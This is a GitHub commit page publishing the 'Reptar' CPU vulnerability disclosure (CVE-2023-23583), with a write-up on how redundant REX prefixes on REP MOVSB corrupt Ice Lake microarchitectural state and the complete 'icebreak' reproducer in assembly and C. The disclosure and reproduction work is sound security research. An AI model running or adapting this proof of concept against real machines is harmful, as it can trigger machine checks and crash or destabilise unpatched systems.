-
Notifications
You must be signed in to change notification settings - Fork 414
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge Reptar Vulnerability Information (#64)
* add preliminary notes on genoa observations * fix typo * Draft of reptar vulnerability.
- Loading branch information
Showing
12 changed files
with
545 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
CFLAGS=-O0 -ggdb3 -march=icelake-server | ||
LDFLAGS=-pthread -Wl,-z,noexecstack -static | ||
NFLAGS= | ||
|
||
.PHONY: clean | ||
|
||
all: icebreak | ||
|
||
%.o: %.asm | ||
nasm $(NFLAGS) -O0 -felf64 -o $@ $^ | ||
|
||
icebreak: main.o hammer.o threads.o util.o | ||
|
||
clean: | ||
rm -f *.o core | ||
rm -f icebreak |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,151 @@ | ||
# REP MOVSB Redundant Prefixes Can Corrupt Ice Lake Microarchitectural State | ||
<p><sup>aka "Reptar", CVE-2023-23583</sup></p> | ||
<p align="right"> | ||
Tavis Ormandy<br/> | ||
Eduardo Vela Nava<br/> | ||
Josh Eads<br/> | ||
Alexandra Sandulescu<br/> | ||
</p> | ||
|
||
## Introduction | ||
|
||
If you've ever written any x86 assembly at all, you've probably used `rep movsb`. | ||
It's the idiomatic way of moving memory around on x86. You set the *source*, | ||
*destination*, *direction* and the *count* - then just let the processor handle | ||
all the details! | ||
|
||
```nasm | ||
lea rdi, [rel dst] | ||
lea rsi, [rel src] | ||
std | ||
mov rcx, 32 | ||
rep movsb | ||
``` | ||
|
||
The actual instruction here is `movsb`, the `rep` is simply a prefix that | ||
changes how the instruction works. In this case, it indicates that you want | ||
this operation **rep**eated multiple times. | ||
|
||
There are lots of other prefixes too, but they don't all apply to every | ||
instruction. | ||
|
||
#### Prefix Decoding | ||
|
||
An interesting feature of x86 is that the instruction decoding is generally | ||
quite relaxed. If you use a prefix that doesn't make sense or conflicts with | ||
other prefixes nothing much will happen, it will usually just be ignored. | ||
|
||
This fact is sometimes useful; compilers can use redundant prefixes to pad a | ||
single instruction to a desirable alignment boundary. | ||
|
||
Take a look at this snippet, this is exactly the same code as above, just a | ||
bunch of useless or redundant prefixes have been added: | ||
|
||
```nasm | ||
rep lea rdi, [rel dst] | ||
cs lea rsi, [rel src] | ||
gs gs gs std | ||
repnz mov rcx, 32 | ||
rep rep rep rep movsb | ||
``` | ||
|
||
Perhaps the most interesting prefixes are `rex`, `vex` and `evex`, all of which | ||
change how subsequent instructions are decoded. | ||
|
||
Let's take a look at how they work. | ||
|
||
#### The REX prefix | ||
|
||
The i386 only had 8 general purpose registers, so you could specify which | ||
register you want to use in just 3 bits (because 2^3 is 8). | ||
|
||
The way that instructions were encoded took advantage of this fact, and reserved | ||
*just* enough bits to specify any of those registers. | ||
|
||
This is a problem, because x86-64 added 8 additional general purpose registers. | ||
We now have sixteen possible registers..that's 2^4, so we're going | ||
to need another bit. | ||
|
||
The solution to this is the `rex` prefix, which gives us some spare bits that | ||
the next instruction can borrow. | ||
|
||
When we're talking about rex, we usually write it like this: | ||
|
||
```nasm | ||
rex.rxb | ||
``` | ||
|
||
`rex` is a single-byte prefix, the first four bits are mandatory and the | ||
remaining four bits called `b`, `x`, `r` and `w` are all optional. If you see | ||
`rex.rb` that means only the `r` and `b` bits are set, all the others are | ||
unset. | ||
|
||
These optional bits give us room to encode more general purpose registers in | ||
the following instruction. | ||
|
||
#### Encoding Rules | ||
|
||
So now we know that `rex` increases the available space for encoding operands, | ||
and that useless or redundant prefixes are usually ignored on x86. So... what | ||
should this instruction do? | ||
|
||
```nasm | ||
rex.rxb rep movsb | ||
``` | ||
|
||
The `movsb` instruction doesn't have any operands - they're all implicit - so | ||
any `rex` bits are meaningless. | ||
|
||
If you guessed that the processor will just silently ignore the `rex` prefix, | ||
you would be correct! | ||
|
||
Well... except on machines that support a new feature called *fast short | ||
repeat move*! We discovered that a bug with redundant `rex` prefixes could | ||
interact with this feature in an unexpected way and introduce a serious | ||
vulnerability. | ||
|
||
#### Reproduce | ||
|
||
We're publishing all of our research today to our [security research | ||
repository](https://github.com/google/security-research/). If you want to | ||
reproduce the vulnerability you can use our `icebreak` tool, I've also made a | ||
local mirror available [here](files/icebreak.tar.gz). | ||
|
||
``` | ||
$ ./icebreak -h | ||
usage: ./icebreak [OPTIONS] | ||
-c N,M Run repro threads on core N and M. | ||
-d N Sleep N usecs between repro attempts. | ||
-H N Spawn a hammer thread on core N. | ||
icebreak: you must at least specify a core pair with -c! (see -h for help) | ||
``` | ||
|
||
The testcase enters what should be an infinite loop, and unaffected systems | ||
should see no output at all. On affected systems, a `.` is printed on each | ||
successful reproduction. | ||
|
||
``` | ||
$ ./icebreak -c 0,4 | ||
starting repro on cores 0 and 4 | ||
......................................................................... | ||
......................................................................... | ||
......................................................................... | ||
......................................................................... | ||
......................................................................... | ||
``` | ||
|
||
In general, if the cores are <abbr title="Symmetric Multithreading">SMT</abbr> | ||
siblings then you may observe random branches and if they're <abbr | ||
title="Symmetric Multiprocessing">SMP</abbr> siblings from the same package | ||
then you may observe machine checks. | ||
|
||
If you do *not* specify two different cores, then you might need to use a | ||
hammer thread to trigger a reproduction. | ||
|
||
## Solution | ||
|
||
Intel have | ||
[published](https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00950.html) | ||
updated microcode for all affected processors. Your operating system or BIOS | ||
vendor may already have an update available! | ||
|
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
BITS 64 | ||
|
||
%include "syscalls.asm" | ||
%include "macros.asm" | ||
%include "config.asm" | ||
|
||
section .text | ||
|
||
global sibling_trigger | ||
global sibling_fault | ||
|
||
sibling_trigger: | ||
mfence | ||
mov rax, SYS_sched_yield | ||
syscall | ||
jmp sibling_trigger | ||
hlt | ||
|
||
sibling_fault: | ||
.repeat: | ||
ud2 | ||
jmp .repeat |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
BITS 64 | ||
|
||
%include "syscalls.asm" | ||
%include "macros.asm" | ||
%include "config.asm" | ||
|
||
global icelake_repro | ||
global icelake_buf | ||
|
||
section .data | ||
align 4096 | ||
dst: dq 0, 0 | ||
src: dq 0, 0 | ||
section .text | ||
|
||
; This should be aligned on a page boundary so that we can mprotect/madvise it. | ||
align 4096 | ||
icelake_repro: | ||
; We ret on error, so save where we want to go. | ||
; this is just because ret is a one-byte opcode. | ||
push .finish | ||
xor r8, r8 ; iteration counter | ||
mov rax, SYS32_sched_yield ; this benchmarks better than syscall | ||
int 0x80 | ||
xor rcx, rcx | ||
align 32 | ||
; If you find an MCE difficult to repro, adjust this number for your SKU (try 0..8). | ||
times 2 nop | ||
.repeat: | ||
inc r8 ; keep track of executions | ||
inc rcx ; movsb count | ||
lea rdi, [rel dst] | ||
lea rsi, [rel src] | ||
rep | ||
rex | ||
rex r | ||
movsb | ||
rep movsb | ||
jmp short .repeat | ||
.after: | ||
lfence | ||
; This should be unreachable | ||
times 128 ret | ||
.finish: | ||
mov rax, r8 | ||
ret | ||
hlt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
|
||
; macro to generate rex bytes | ||
; e.g. rex w,x,b | ||
%macro rex 0-4 | ||
%assign _rex 0b01000000 | ||
%rep %0 | ||
%ifidni %1, W | ||
%assign _rex _rex | 0b1000 | ||
%elifidni %1, R | ||
%assign _rex _rex | 0b0100 | ||
%elifidni %1, X | ||
%assign _rex _rex | 0b0010 | ||
%elifidni %1, B | ||
%assign _rex _rex | 0b0001 | ||
%else | ||
%error unrecognized flag %1 | ||
%endif | ||
%rotate 1 | ||
%endrep | ||
db _rex | ||
%endmacro |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,135 @@ | ||
#define _GNU_SOURCE | ||
#include <stdio.h> | ||
#include <stdint.h> | ||
#include <stdbool.h> | ||
#include <stdlib.h> | ||
#include <pthread.h> | ||
#include <sched.h> | ||
#include <assert.h> | ||
#include <unistd.h> | ||
#include <fcntl.h> | ||
#include <x86intrin.h> | ||
#include <sys/wait.h> | ||
#include <sys/resource.h> | ||
#include <err.h> | ||
|
||
#include "threads.h" | ||
#include "util.h" | ||
|
||
extern uint64_t icelake_repro(); | ||
extern uint64_t sibling_trigger(); | ||
|
||
static void * icelake_worker(void *param) | ||
{ | ||
// Need to enable cancellation. | ||
pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL); | ||
|
||
icelake_repro(); | ||
|
||
pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL); | ||
|
||
return 0; | ||
} | ||
|
||
static void * icelake_hammer(void *param) | ||
{ | ||
// Need to enable cancellation. | ||
pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL); | ||
|
||
sibling_trigger(); | ||
|
||
pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL); | ||
|
||
return 0; | ||
} | ||
|
||
static void print_help() | ||
{ | ||
logmsg("usage: ./icebreak [OPTIONS]"); | ||
logmsg(" -c N,M Run repro threads on core N and M."); | ||
logmsg(" -d N Sleep N usecs between repro attempts."); | ||
logmsg(" -H N Spawn a hammer thread on core N."); | ||
} | ||
|
||
static struct rlimit rlim = { | ||
.rlim_cur = 0, | ||
.rlim_max = 0, | ||
}; | ||
|
||
static int delay = 1000; | ||
|
||
int main(int argc, char **argv) | ||
{ | ||
pthread_t A = 0, B = 0; | ||
pthread_t hammer = 0; | ||
int coreA = -1; | ||
int coreB = -1; | ||
int opt; | ||
int coreH = -1; | ||
pid_t child; | ||
|
||
setrlimit(RLIMIT_CORE, &rlim); | ||
|
||
while ((opt = getopt(argc, argv, "H:hc:d:")) != -1) { | ||
switch (opt) { | ||
case 'c': if (sscanf(optarg, "%u,%u", &coreA, &coreB) != 2) | ||
errx(EXIT_FAILURE, "the format required is N,M, for example: 0,1"); | ||
break; | ||
case 'd': delay = atoi(optarg); | ||
break; | ||
case 'H': coreH = atoi(optarg); | ||
break; | ||
case 'h': print_help(); | ||
break; | ||
default: | ||
print_help(); | ||
errx(EXIT_FAILURE, "unrecognized commandline argument"); | ||
} | ||
} | ||
|
||
if (coreA < 0 || coreB < 0) { | ||
errx(EXIT_FAILURE, "you must at least specify a core pair with -c! (see -h for help)"); | ||
} | ||
|
||
if (coreH >= 0) { | ||
hammer = spawn_thread_core(icelake_hammer, NULL, coreH); | ||
logmsg("Hammer thread %p on core %d", hammer, coreH); | ||
} | ||
|
||
logmsg("starting repro on cores %d and %d", coreA, coreB); | ||
|
||
do { | ||
// Run this in a subprocess in case it crashes. | ||
if ((child = fork()) == 0) { | ||
|
||
// Make sure it doesn't get stuck if it jumps into an infinite loop. | ||
alarm(5); | ||
|
||
// Attempt to repro 64 times. | ||
for (int i = 0; i < 64; i++) { | ||
if (!A || pthread_tryjoin_np(A, NULL) == 0) | ||
A = spawn_thread_core(icelake_worker, NULL, coreA); | ||
if (!B || pthread_tryjoin_np(B, NULL) == 0) | ||
B = spawn_thread_core(icelake_worker, NULL, coreB); | ||
|
||
usleep(delay); | ||
fputc('.', stderr); | ||
} | ||
|
||
// No luck, it might be in a weird state - restart. | ||
pthread_cancel(A); | ||
pthread_cancel(B); | ||
|
||
fputc('\n', stderr); | ||
|
||
pthread_join(A, NULL); | ||
pthread_join(B, NULL); | ||
|
||
_exit(0); | ||
} | ||
} while (waitpid(child, NULL, 0) != -1); | ||
|
||
err(EXIT_FAILURE, "this is supposed to be unreachable, waitpid() failed"); | ||
|
||
return 0; | ||
} |
Oops, something went wrong.